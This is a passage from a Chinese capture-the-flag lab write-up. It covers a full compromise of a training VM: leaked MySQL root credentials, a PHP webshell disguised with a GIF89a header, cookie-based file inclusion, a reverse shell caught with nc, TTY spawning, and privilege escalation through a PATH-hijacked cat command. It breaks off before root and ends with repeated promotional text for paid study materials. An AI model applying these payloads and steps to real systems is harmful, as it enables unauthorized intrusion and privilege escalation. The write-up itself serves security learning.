我们用同样的方法,可以读取出upload以及config的源代码
我们同样将我们得到的base64数据进行解码,并保存起来
当我们将config解码出来后,我们得到了mysql的账号密码
root:H4u%QJ_H99
在之前的nmap扫描中就知道靶场的3306端口是开启状态
进行mysql登录
mysql -uroot -h 192.168.1.4 -p
登录成功
查看下数据库中的数据
show databases;
use Users;
show tables;
select * from users;
得到了三个账号密码
将密码进行base64解密并分别进行保存
回到80端口进行尝试用得到的账号密码进行登录
登录成功,进行文件上传尝试
根据我们之前得到的upload文件源码得知
对上传文件进行了白名单尝试,只允许上传后缀为jpg、jpeg、gif以及png文件
并且对文件头进行校验
准备好一句话木马并将文件头写为GIF89a
GIF89a
<?php
system($_GET['132']);
phpinfo();
?>
保存为后缀为gif文件
尝试上传并进行bp抓包修改
上传失败
我们再次进行后缀修改,并尝试使用00截断进行上传
找到gif位置并将gif前的小数点改为00
再次进行上传
同样上传失败。。。。
查看之前获得到的index源代码
我们在该位置发现异常
在该位置未对 _ C O O K I E [ ′ l a n g ′ ] 进行输入验证和过滤:攻击者可以通过修改 \_COOKIE['lang']进行输入验证和过滤:攻击者可以通过修改 _COOKIE[′lang′]进行输入验证和过滤:攻击者可以通过修改_COOKIE[‘lang’]的值来执行潜在的攻击,例如包含恶意文件或执行任意代码。
代码解读:
isset($_COOKIE[‘lang’]):这是一个条件语句,检查名为lang的Cookie是否存在。isset()函数
用于检测变量是否已设置并且非null。
如果$_COOKIE[‘lang’]存在,代码将继续执行下一行。
include(“lang/”.$_COOKIE[‘lang’]);:这行代码使用include语句来包含一个语言文件。它使
用$_COOKIE[‘lang’]的值构建文件路径,并将该文件包含到当前的代码文件中。
获取shell:
根据该段代码的内容,我们可以构造一个名为“lang”的cookie从而造成文件包含漏洞
先正常上传后缀为gif的木马文件
上传完成后
右键下面的小图标,新建标签页面打开图像
该路径则为我们稍后构造的cookie文件包含所需要的路径
再次使用bp抓包,随便上传一个文件并修改cookie
在原有的cookie后添加
;lang=../upload/440f0eab6c78d0e3cb46c99f5d43d1b1.gif
如果使用bp上传后报错提示
Your browser sent a request that this server could not understand.
Request header field is missing ‘:’ separator.
(我在之前的测试中并没有出现过此情况,并且在之前的测试中的cookie并没有这么长,所以在该位置报错了,遂我尝试使用hackbar进行构造cookie)
可以使用hackbar进行修改cookie(在火狐的插件中可以搜索到,一个收费一个免费,我用的是免费版)
load URL:将URL地址载入到hackbar
勾选上cookies并在最后的cookie行添加上我们构造好的cookie
最后点击execute
解析成功(因为在我们上传的一句话木马中加入了 phpinfo(),用来判断该木马是否解析成功)
但是我经过测试发现好像并不能利用该木马传参进行反弹shell
所以我们我们可以尝试使用kali目录下的php shell文件或者自己写一个php反弹shell文件
木马文件在kali的/usr/share/webshells/php目录下
cd /usr/share/webshells/php
将该文件内容复制出来并做对应的ip以及端口修改
将该位置修改为kali的ip以及nc监听的端口
并将该文件后缀修改为.gif
在kali中打开nc监听
nc -lvvp 8080
将该木马进行上传
(如果使用hackbar后再次点击upload会直接跳转到之前的phpinfo解析页面,我们需要再次打开hackbar并勾选cookie,将最后的我们添加的cookie删除掉,然后重新打开文件上传页面即可)
上传木马
并同样将该文件的路径以及名称进行保存
并再次随便上传一个文件(选不选择都行,主要目的是抓包并修改cookie,所以我这里就没有选择文件,直接点击的上传),bp抓包修改cookie
;lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif
如果还是出现了报错情况,可以尝试将浏览器的缓存以及cookie进行清除
nc监听成功
我们之前获得过三个账号密码,尝试进行用户切换,毕竟该用户权限太低了
提权:
su kent
出现报错提示,我们需要重新打开一个命令交互(Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck’s Blog (lshack.cn)")在该网站中有各种shell来执行命令)
查看是否有python环境
whereis python
python -c 'import pty; pty.spawn("/bin/sh")'
可以正常使用命令交互了
切换kent用户
cd
回到该用户文件夹下
在用户目录下也没有东西
ls
查看具有sudi权限的文件,看能否利用进行提权
find / -perm -u=s -type f 2>/dev/null
没有东西
切换下一个用户看看
(经过尝试mike用户的密码不正确)
su kane
切换到自己文件夹下
cd
查看当前文件夹下有哪些东西
ls
我们发现了该文件
尝试运行
报错
查看下该文件
strings msgmike
发现该文件可以用system权限执行cat命令,但是由于/home/mike/msg.txt文件不存在,所以报错了,那我们可以尝试使用命令劫持
在当前目录下写一个cat文件并给他运行权限
echo /bin/bash >cat
chmod +x cat
利用环境变量劫持,将环境变量修改为cat文件目录下也就是当前目录下
export PATH=.:$PATH
然后再次尝试运行msgmike
我们的用户变为了mike
因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike
当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限
我们手动切换到mike文件夹下
cd /home/mike
我们运行该目录下的msg2root文件
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-6aD509Ix-1715539165059)]
[外链图片转存中…(img-VchuF4ZX-1715539165060)]
[外链图片转存中…(img-TvPsjqoJ-1715539165060)]
[外链图片转存中…(img-OKeClVq2-1715539165060)]
[外链图片转存中…(img-TafoPuxG-1715539165060)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!